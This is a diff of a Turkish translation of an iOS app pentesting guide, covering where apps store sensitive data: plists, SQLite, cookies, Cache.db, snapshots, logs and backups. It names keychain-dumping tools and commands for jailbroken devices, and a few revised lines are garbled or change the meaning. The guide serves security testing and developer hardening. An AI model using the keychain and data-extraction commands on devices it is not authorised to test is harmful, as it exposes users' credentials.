@ -266,16 +266,16 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
* Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir.
* **Library/Preferences/**
* Bir uygulama yeniden başlatıldıktan sonra bile **kalıcı olabilen özellikleri** depolamak için kullanılır.
* Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama sandbox'ının içinde kaydedilir.
* Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama kum havuzunun içinde kaydedilir.
* `NSUserDefaults` kullanılarak depolanan tüm anahtar/değer çiftleri bu dosyada bulunabilir.
* **tmp/**
* Uygulama başlatmaları arasında kalıcı olması gerekmeyen **geçici dosyaları** yazmak için bu dizini kullanın.
* Kalıcı olmayan önbellek dosyalarını içerir.
* Uygulama başlatmaları arasında kalıcı olması gerekli olmayan **geçici dosyaları** yazmak için bu dizini kullanın.
* Kalıcı olmayan önbelleklenmiş dosyaları içerir.
* Kullanıcılara **görünmez**.
* Bu dizindeki içerik **yedeklenmez**.
* Bu dizindeki içerik yedeklenmez.
* Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir.
iGoat-Swift'in Uygulama Paketi (.app) dizinine Bundle dizini içinde (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım:
iGoat-Swift'in Uygulama Paketi (.app) dizinine (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -307,11 +307,11 @@ DVIA-v2:
```
**Uygulamanın şifrelenip şifrelenmediğini kontrol edin**
Aşağıdaki komutu kullanarak herhangi bir çıktı olup olmadığını kontrol edin:
Aşağıdaki komut çıktısında herhangi bir şey var mı:
```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
```
**Binary'in Ayrıştırılması**
**Binary dosyasının ayrıştırılması**
Metin bölümünü ayrıştırın:
```bash
@ -341,7 +341,7 @@ data 0x1003de748
flags 0x80
instanceStart 8
```
Kodun daha kompakt hale getirilmesi için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanılabilir:
Kodunuzu daha kompakt hale getirmek için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanabilirsiniz:
```bash
class-dump some-app
//
@ -372,47 +372,47 @@ Ancak, ikili dosyayı açmak için en iyi seçenekler: [**Hopper**](https://www.
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve **kolayca** kullanın.\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturmak ve **Trickest**'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Veri Depolama
iOS'un cihazda veri depolama hakkında nasıl bilgi sakladığını öğrenmek için bu sayfayı okuyun:
iOS'un cihazda veri depolama yöntemlerini öğrenmek için bu sayfayı okuyun:
{% content-ref url="ios-basics.md" %}
[ios-basics.md](ios-basics.md)
{% endcontent-ref %}
{% hint style="warning" %}
Bilgi depolamak için aşağıdaki yerler **uygulama yüklenir yüklenmez**, uygulamanın tüm işlevleri kontrol edildikten sonra ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yapıldıktan sonra** kontrol edilmelidir.\
Uygulama **kurulduktan hemen sonra**, uygulamanın tüm işlevleri kontrol edildikten sonra ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yaptıktan sonra** bilgi depolama yerleri kontrol edilmelidir.\
Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve önceki oturum açmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır.
{% endhint %}
### Plist
**plist** dosyaları, **anahtar-değer çiftlerini içeren** yapılandırılmış XML dosyalarıdır. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Bu dosyaların uygulamayı yükledikten ve yoğun bir şekilde kullandıktan sonra kontrol edilmesi önerilir.
**plist** dosyaları, **anahtar-değer çiftlerini içeren yapılandırılmış XML dosyalarıdır**. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Uygulamayı yükledikten ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmeniz önerilir.
Plist dosyalarında veri saklamanın en yaygın yolu **NSUserDefaults**'un kullanımıdır. Bu plist dosyası, **`Library/Preferences/<appBundleID>.plist`** içinde uygulama kum havuzunda kaydedilir.
Plist dosyalarında veri saklamanın en yaygın yolu **NSUserDefaults**'un kullanımıdır. Bu plist dosyası, **`Library/Preferences/<appBundleID>.plist`** içinde uygulama sandbox'ında kaydedilir.
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler uygulama kum havuzunda görüntülenebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır.
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler uygulama paketi içinde görülebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır.
Bu veri doğrudan güvenilir bir bilgisayardan erişilemez, ancak bir **yedekleme** yaparak erişilebilir.
Bu veri doğrudan güvenilir bir bilgisayar üzerinden erişilemez, ancak bir **yedekleme** yaparak erişilebilir.
`NSUserDefaults` kullanılarak kaydedilen bilgileri **`NSUserDefaults`** kullanarak çöpe atabilirsiniz.
Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` adresine erişebilir ve şunu çalıştırabilirsiniz:
Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}`'e erişebilir ve şunu çalıştırabilirsiniz:
```bash
find ./ -name "*.plist"
```
**XML veya ikili (bplist)** formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:
**XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:**
**MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan `plutil` komutu, macOS'ta (10.2+) yerleşik bir araçtır:
**MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan macOS'ta (10.2+), yerleşik bir araçtır.
```bash
$ plutil -convert xml1 Info.plist
```
**Linux Kullanıcıları için:** İlk olarak `libplist-utils`'ı yükleyin, ardından dosyanızı dönüştürmek için `plistutil`'ı kullanın:
**Linux Kullanıcıları için:** İlk olarak `libplist-utils` paketini yükleyin, ardından dosyanızı dönüştürmek için `plistutil` kullanın:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
@ -423,12 +423,12 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
```
### Core Data
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data SQLite'ı kalıcı depo olarak kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\
CoreData varsayılan olarak verilerini şifrelemez. Bununla birlikte, CoreData'ye ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data) sayfasına bakın.
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data, kalıcı depo olarak SQLite'i kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\
CoreData, verilerini varsayılan olarak şifrelemez. Bununla birlikte, CoreData'ye ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data)'ya bakın.
Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz.
**Eğer SQLite'ı açabilir ve hassas bilgilere erişebilirseniz, yanlış yapılandırmayı buldunuz demektir.**
**Eğer SQLite'i açabilir ve hassas bilgilere erişebilirseniz, yanlış yapılandırmayı buldunuz demektir.**
{% code title="iGoat'tan Kod" %}
```objectivec
@ -463,15 +463,15 @@ Yap veritabanları sqlite veritabanları olduğundan, bunları önceki bölümde
### Diğer SQLite Veritabanları
Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelemeksizin bırakabilirler. Bu nedenle, her veritabanını kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`).
Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelememiş olabilirler. Bu nedenle, her veritabanını kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin saklandığı uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`).
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Gerçek Zamanlı Veritabanları
Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyonu** sağlanmaktadır. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir.
Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyonu** imkanı sunulur. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir.
Misconfigured Firebase veritabanlarını nasıl kontrol edeceğinizi buradan bulabilirsiniz:
Yanlış yapılandırılmış Firebase veritabanlarını nasıl kontrol edeceğinizi buradan bulabilirsiniz:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
@ -479,7 +479,7 @@ Misconfigured Firebase veritabanlarını nasıl kontrol edeceğinizi buradan bul
### Realm veritabanları
[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/), Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunar. Varsayılan olarak veriler **şifrelenmeden depolanır** ve şifreleme belirli yapılandırmalar aracılığıyla sağlanır.
[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/), Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunar. Varsayılan olarak, veriler şifrelenmeden depolanır ve şifreleme belirli yapılandırmalar aracılığıyla sağlanır.
Veritabanları şurada bulunur: `/private/var/mobile/Containers/Data/Application/{APPID}`. Bu dosyaları keşfetmek için şu gibi komutlar kullanılabilir:
```bash
@ -512,7 +512,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
```
### Çerezler
iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlık** içinde saklamayı tercih ederler çünkü bahsi geçen **çerez dosyasına yedeklerden erişilebilir**.
iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlık** içinde saklamayı tercih eder çünkü bahsedilen **çerez dosyasına yedeklerden erişilebilir**.
Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\
**Ayrıca objection'ı kullanarak** bu dosyaları JSON formatına dönüştürebilir ve verileri inceleyebilirsiniz.
@ -533,29 +533,29 @@ iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library
```
### Önbellek
Varsayılan olarak NSURLSession, **HTTP isteklerini ve yanıtları Cache.db** veritabanında saklar. Bu veritabanı, **token'lar, kullanıcı adları veya başka hassas bilgiler** gibi hassas veriler içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinine (`/var/mobile/Containers/Data/Application/<UUID>`) gidin ve `/Library/Caches/<Bundle Identifier>` yolunu izleyin. **WebKit önbelleği de Cache.db** dosyasında saklanmaktadır. **Objection**, bu veritabanıyla `sqlite connect Cache.db` komutu ileıp etkileşimde bulunabilir, çünkü bu **normal bir SQLite veritabanıdır**.
NSURLSession varsayılan olarak **HTTP isteklerini ve yanıtlarını Cache.db veritabanında** saklar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka hassas bilgiler önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınan bilgileri bulmak için uygulamanın veri dizinini (`/var/mobile/Containers/Data/Application/<UUID>`) açın ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db dosyasında saklanmaktadır**. **Objection**, bu veritabanını `sqlite connect Cache.db` komutuylaıp etkileşimde bulunabilir, çünkü bu **normal bir SQLite veritabanıdır**.
Bu verilerin **önbelleğe alınmasının devre dışı bırakılması önerilir**, çünkü istekte veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
Bu verilerin **önbelleğe alınmasını devre dışı bırakmanız önerilir**, çünkü istek veya yanıtlarda hassas bilgiler olabilir. Aşağıdaki liste farklı yöntemlerle bunu başarmanın yollarını göstermektedir:
1. Oturum kapatıldıktan sonra önbelleğe alınmış yanıtların kaldırılması önerilir. Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
1. Oturum kapatıldıktan sonra önbelleğe alınan yanıtların kaldırılması önerilir. Bu, Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle yapılabilir. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
`URLCache.shared.removeAllCachedResponses()`
`URLCache.shared.removeAllCachedResponses()`
Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınmış istekleri ve yanıtları kaldıracaktır.
2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir. Bu özellik çerezleri ve önbelleği devre dışı bırakacaktır.
Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınan istekleri ve yanıtları kaldıracaktır.
2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir, bu da çerezleri ve önbelleği kaydetmeyi devre dışı bırakacaktır.
[Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
[Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. default) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya diske herhangi bir oturumla ilgili veriyi saklamaz. Bunun yerine, oturumla ilgili veriler RAM'de saklanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.`
3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) Önbellek Politikası olarak ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır.
`Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. default) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya diske herhangi bir oturumla ilgili veriyi saklamaz. Bunun yerine, oturumla ilgili veriler RAM'de saklanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.`
3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) Önbellek Politikası'na ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır.
### Anlık Görüntüler
Ana ekran düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha akıcı hale getirir. Ancak, eğer **hassas veriler** mevcutsa, bu veriler **resimde saklanır** (bu veri **yeniden başlatmalarda** **saklanır**). Bu, uygulamalar arasında geçiş yapmak için ana ekranı çift dokunarak erişebileceğiniz anlık görüntülerdir.
Ev düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha akıcı hale getirmek için kullanır. Ancak, eğer mevcut ekranda **hassas veriler** varsa, bu veriler **resimde saklanır** (ki bu **yeniden başlatmalara karşı kalıcıdır**). Bu, uygulamalar arasında geçiş yapmak için ev ekranına çift dokunarak erişebileceğiniz anlık görüntülerdir.
iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için cihaza **erişimi** **engellenmemiş** olmalıdır. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için **cihaza erişime** **ihtiyacı** **vardır** ve cihazın **kilitli olmaması** gerekir. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
Bu kötü davranışı önlemenin bir yolu, anlık görüntü almadan önce duyarlı verileri kaldırmak veya bir boş ekran kullanmaktır, `ApplicationDidEnterBackground()` işlevini kullanarak.
Bu kötü davranışı önlemenin bir yolu, anlık görüntü almadan önce duyarlı verileri kaldırmak veya bir boş ekran kullanmaktır, `ApplicationDidEnterBackground()` işlevini kullanarak.
Aşağıdaki, varsayılan bir ekran görüntüsü ayarlayan örnek bir düzeltme yöntemidir.
@ -592,7 +592,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
```
### Anahtarlık
iOS anahtarlığına erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, [**Objection**](https://github.com/sensepost/objection) benzer amaçlar için `ios keychain dump` komutunu sağlar.
iOS anahtarlığına erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar.
#### **Kimlik Bilgilerini Saklama**
@ -612,11 +612,11 @@ iOS 8.0'dan itibaren kullanıcılar, **Ayarlar > Genel > Klavye > Klavyeler** al
* Güvenliği artırmak için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
* `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarında hassas bilgileri saklayabilecek varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneriler özelliklerine dikkat edilmelidir. Bu önbellek dosyaları düzenli olarak hassas veriler açısından kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** üzerinden klavye sözlüğünün sıfırlanması önerilir.
* Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletemediğini ortaya çıkarabilir.
* Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletip etmediğini ortaya çıkarabilir.
### **Metin Alanı Önbelleğini Önleme**
[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için özellikler sunar ve hassas bilgi önbelleğini önlemek için esastır. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir:
[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için gerekli olan özellikler sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
@ -628,9 +628,9 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **Kayıtlar**
Hata ayıklama kodu genellikle **günlükleme** kullanımını içerir. **Kayıtlar hassas bilgiler içerebileceğinden risk taşır**. Daha önce, iOS 6 ve daha eski sürümlerde, kayıtlar tüm uygulamalara erişilebilirdi, bu da hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi kayıtlarına erişebilirler**.
Hata ayıklama kodu genellikle **günlüğü kullanmayı** gerektirir. **Kayıtlar hassas bilgiler içerebileceğinden risk içerir**. Daha önce, iOS 6 ve daha eski sürümlerde, günlüklere tüm uygulamalar erişebiliyordu, bu da hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi günlüklerine erişebilirler**.
Bu kısıtlamalara rağmen, kilidini açmış bir cihaza **fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bunu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kaydedildiğini unutmamak önemlidir.
Bu kısıtlamalara rağmen, **kilitli bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bunu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kaydedildiğini unutmamak önemlidir.
Riskleri azaltmak için, uygulama ile **detaylı etkileşimde bulunmak**, tüm işlevlerini ve girdilerini keşfetmek ve yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmak önerilir.
@ -647,44 +647,44 @@ Ayrıca, **Xcode** konsol log'larını toplamanın bir yolunu sağlar:
1. Xcode'u açın.
2. iOS cihazını bağlayın.
3. **Window** -> **Devices and Simulators**'a gidin.
3. **Window** -> **Devices and Simulators**'e gidin.
4. Cihazınızı seçin.
5. Araştırdığınız sorunu tetikleyin.
6. Logları yeni bir pencerede görüntülemek için **Open Console** düğmesini kullanın.
Daha gelişmiş loglama için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlamak mümkündür:
Daha gelişmiş günlükleme için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlamak mümkündür:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Log etkinliklerini gözlemlemek için izlenecek komutlar, sorunları teşhis etmek veya günlüklerde potansiyel veri sızıntısını belirlemek için değerli olabilir.
Log aktivitelerini gözlemlemek için kullanılan komutlar, sorunları teşhis etmek veya günlüklerde potansiyel veri sızıntılarını belirlemek için son derece değerli olabilir.
***
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturmak ve otomatikleştirmek kolaydır.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Yedeklemeler
**Otomatik yedekleme özellikleri**, iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz veri kopyalarının oluşturulmasını kolaylaştıran iOS'e entegre edilmiştir. Bu yedeklemeler, Apple Pay ayrıntıları ve Touch ID yapılandırmaları gibi son derece hassas unsurlar dışında neredeyse tüm cihaz verilerini kapsar.
iOS'e entegre edilmiş **otomatik yedekleme özellikleri**, iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz veri kopyalarının oluşturulmasını kolaylaştırır. Bu yedeklemeler neredeyse tüm cihaz verilerini kapsar, Apple Pay ayrıntıları ve Touch ID yapılandırmaları gibi son derece hassas unsurları hariç tutar.
### Güvenlik Riskleri
Yedeklemelerde **kurulu uygulamalar ve verilerinin** bulunması, potansiyel **veri sızıntısı** sorununu ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirebileceği riskini** ortaya çıkarır. Bu riskleri azaltmak için **duyarlı bilgilerin düz metin olarak saklanmaması** önerilir.
Yedeklemelerde **kurulu uygulamalar ve verilerinin** bulunması, potansiyel **veri sızıntısı** sorununu ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirebileceği riskini** ortaya çıkarır. Bu riskleri azaltmak için **duyarlı bilgileri düz metin olarak saklamamak** önerilir.
### Yedeklemelerden Dosyaları Hariç Tutma
`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini önlemek için hayati önem taşır.
`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, belirli dosyaları veya dizinleri yedeklemelerden hariç tutmak için `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini engellemek için önemlidir.
### Zafiyetlerin Test Edilmesi
Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun, ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği, uygulama davranışını etkileyebilecek hassas verileri veya yapılandırmaları değiştirebilecek unsurları analiz edin.
Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği, uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar açısından analiz edin.
Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifrelenmiş yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir.
Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -699,19 +699,19 @@ Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) g
```
### Şifreli Yedeklemelerle Başa Çıkma
